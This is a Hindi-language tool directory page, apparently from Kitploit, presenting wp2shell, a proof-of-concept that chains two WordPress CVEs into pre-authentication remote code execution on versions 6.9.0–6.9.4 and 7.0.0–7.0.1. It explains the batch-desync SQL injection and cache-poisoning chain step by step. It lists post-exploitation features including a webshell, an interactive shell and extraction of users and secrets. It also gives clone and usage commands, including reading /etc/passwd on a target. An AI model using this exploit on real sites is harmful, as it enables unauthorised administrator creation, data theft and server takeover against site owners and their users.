Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 के लिए PoC, जिसे WP2Shell के नाम से भी जाना जाता है | Kitploit
उपकरण/GitHubGitHub/crypto-cat/wp2shell
भेद्यता स्कैनरकोड विश्लेषणशोषणवेब सुरक्षालर्निंग और शिक्षा
GitHubcrypto-cat/wp2shell

wp2shell

CVE-2026-63030 + CVE-2026-60137 के लिए PoC, जिसे WP2Shell के नाम से भी जाना जाता है

रिपॉजिटरी देखें
3752 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

wp2shell

WordPress 6.9.0–6.9.4 और 7.0.0–7.0.1 के लिए प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन।

CVE-2026-63030 (बैच रूट कन्फ्यूज़न SQLi) को CVE-2026-60137 (कस्टमाइज़र चेंजसेट री-एंट्री) के साथ जोड़कर बिना प्रमाणीकरण के एडमिनिस्ट्रेटर निर्माण और OS कमांड निष्पादन प्राप्त करता है। कोई पासवर्ड क्रैकिंग आवश्यक नहीं।

wp2shell डेमो

श्रेय hashkitten को इस खोज के लिए, पूर्ण SLCyber तकनीकी विश्लेषण यहाँ पढ़ें।

भेद्यता

WordPress के REST API बैच प्रोसेसर (serve_batch_request_v1) में एक ऑफ-बाय-वन इंडेक्सिंग बग है: जब wp_parse_url() किसी उप-अनुरोध पथ पर विफल होता है, तो परिणामी WP_Error को $validation[] में धकेल दिया जाता है लेकिन $matches[] में नहीं। यह दोनों एरे को डीसिंक्रोनाइज़ करता है — प्रत्येक बाद का अनुरोध गलत हैंडलर के तहत भेजा जाता है।

एक बैच के अंदर दूसरे सावधानीपूर्वक संरचित बैच को नेस्ट करके, एक हमलावर निम्नलिखित कर सकता है:

  1. किसी एक एंडपॉइंट के स्कीमा द्वारा मान्य किए गए अनुरोध को पूरी तरह से अलग एंडपॉइंट के कॉलबैक के माध्यम से रूट करना
  2. author__not_in के माध्यम से अनसैनिटाइज़्ड SQL इंजेक्ट करना (स्ट्रिंग→एरे कास्ट absint() को छोड़ देता है)
  3. WordPress के ऑब्जेक्ट कैश को नकली पोस्ट ऑब्जेक्ट्स के साथ जहरीला बनाने के लिए UNION SELECT का उपयोग करना
  4. एक चेंजसेट ऑटो-पब्लिश को ट्रिगर करना जो विशेषाधिकार बढ़ाता है, फिर एडमिन संदर्भ के साथ REST API में पुनः प्रवेश करना

एक बार सेटअप पूरा हो जाने पर (टेबल प्रीफ़िक्स और एडमिन आईडी की खोज), एस्केलेशन पेलोड एक एकल HTTP अनुरोध में फायर होता है — कैश पॉइज़निंग, विशेषाधिकार वृद्धि, और उपयोगकर्ता निर्माण सभी सर्वर-साइड एक राउंड-ट्रिप में होते हैं।

श्रृंखला कैसे काम करती है

HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

कैश पॉइज़निंग (UNION के माध्यम से 7 नकली पोस्ट):

  • एक ट्रिगर पोस्ट जिसकी सामग्री में [embed] शॉर्टकोड है
  • एक चेंजसेट पोस्ट (customize_changeset, स्थिति future, तिथि अतीत में)
  • एक बाहरी लूप पार्टनर (पैरेंट=चेंजसेट, लूप 1 बनाना)
  • एक oEmbed लक्ष्य (डायनामिक एंटी-रिकर्सन आईडी, पैरेंट=चेंजसेट, खाली सामग्री)
  • एक नेव मेनू आइटम पोस्ट (is_nav_menu_item चेक के लिए post_type=nav_menu_item के रूप में जहरीला)
  • एक री-एंट्री पोस्ट (post_type=request, post_status=parse, पैरेंट=इनर)
  • एक आंतरिक लूप पार्टनर (पैरेंट=री-एंट्री, लूप 2 बनाना)

निष्पादन प्रवाह:

  1. UNION सभी 7 नकली पोस्ट के साथ ऑब्जेक्ट कैश को जहरीला करता है
  2. पोस्ट हैंडलर ट्रिगर पोस्ट की सामग्री प्रस्तुत करता है → [embed] शॉर्टकोड फायर होता है
  3. oEmbed कैश लुकअप को खाली सामग्री वाला एक बैकिंग पोस्ट मिलता है → wp_update_post पर आता है
  4. wp_update_post कैश्ड चेंजसेट (पैरेंट=बाहरी) पढ़ता है → पदानुक्रम जांच लूप 1 का पता लगाती है
  5. फिक्स-अप future स्थिति के साथ चेंजसेट को DB में लिखता है → स्वचालित रूप से publish में बदल जाता है
  6. _wp_customize_publish_changeset फायर होता है → wp_set_current_user(admin_id) → एडमिन संदर्भ सक्रिय
  7. चेंजसेट nav_menu_item[real_id] प्रोसेस करता है — कैश कहता है type=nav_menu_item → UPDATE पथ
  8. object_id एक कैश्ड पोस्ट को हल करता है जिसका post_parent=re-entry है → वास्तविक पोस्ट पर wp_update_post
  9. पदानुक्रम जांच (गैर-शून्य $post_id) लूप 2 (री-एंट्री ↔ इनर) का पता लगाती है
  10. फिक्स-अप wp_update_post(re-entry) कॉल करता है → DB में type=request, status=parse लिखता है
  11. wp_transition_post_status do_action("parse_request") फायर करता है → rest_api_loaded() → serve_request()
  12. REST API पुनः प्रवेश करता है, पूरे बैच को एडमिन विशेषाधिकारों के साथ फिर से प्रोसेस करता है
  13. पूंछ में POST /wp/v2/users सफल होता है → एडमिनिस्ट्रेटर बनाया गया → die()

एक एंटी-रिकर्सन MySQL सत्र चर (@_wp2s) यह सुनिश्चित करता है कि श्रृंखला ठीक एक बार फायर हो और लूप न करे।

विशेषताएँ

  • तीन निष्कर्षण मोड स्वचालित पहचान के साथ: UNION (1 अनुरोध/मान), EXTRACTVALUE के माध्यम से त्रुटि-आधारित (~30 वर्ण/अनुरोध), बूलियन-ब्लाइंड बाइनरी खोज (~7 अनुरोध/वर्ण)
  • पूर्ण प्री-ऑथ RCE — कोई क्रेडेंशियल नहीं, कोई क्रैकिंग नहीं, एस्केलेशन एक एकल राउंड-ट्रिप में फायर होता है
  • स्वयं-खोज — INFORMATION_SCHEMA के माध्यम से टेबल प्रीफ़िक्स, क्षमताओं मेटा के माध्यम से एडमिन उपयोगकर्ता आईडी
  • पोस्ट-एक्सप्लॉइटेशन — टोकन प्रमाणीकरण के साथ प्लगइन वेबशेल, CWD-ट्रैकिंग इंटरैक्टिव शेल, फ़ाइल पढ़ना/लिखना
  • सफाई मोड — --cleanup बाहर निकलने पर बनाए गए उपयोगकर्ता को हटाता है और वेबशेल को हटा देता है
  • शून्य निर्भरताएँ — केवल stdlib, एकल फ़ाइल, Python 3.8+ पर चलता है

स्थापना

git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

कोई pip install, कोई virtualenv नहीं। यह एक फ़ाइल है।

उपयोग

जाँचें कि लक्ष्य असुरक्षित है या नहीं

# निष्क्रिय बूलियन ओरेकल परीक्षण
python3 wp2shell.py check http://target.com

# टाइमिंग और UNION के साथ भी पुष्टि करें
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

डेटा निकालें

# स्वचालित रूप से सबसे तेज़ तकनीक चुनता है (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# किसी विशिष्ट तकनीक को बलपूर्वक चुनें
python3 wp2shell.py read http://target.com --technique blind --preset users

# टेबल प्रीफ़िक्स स्वचालित रूप से खोजें
python3 wp2shell.py read http://target.com --auto-prefix --preset users

पूर्ण शोषण

# शोषण करें और इंटरैक्टिव शेल में जाएँ
python3 wp2shell.py exploit http://target.com -i

# शोषण करें, एक कमांड चलाएँ, सफाई करें
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# यदि आप प्रीफ़िक्स जानते हैं तो स्वचालित खोज छोड़ें
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
टूल डाउनलोड करें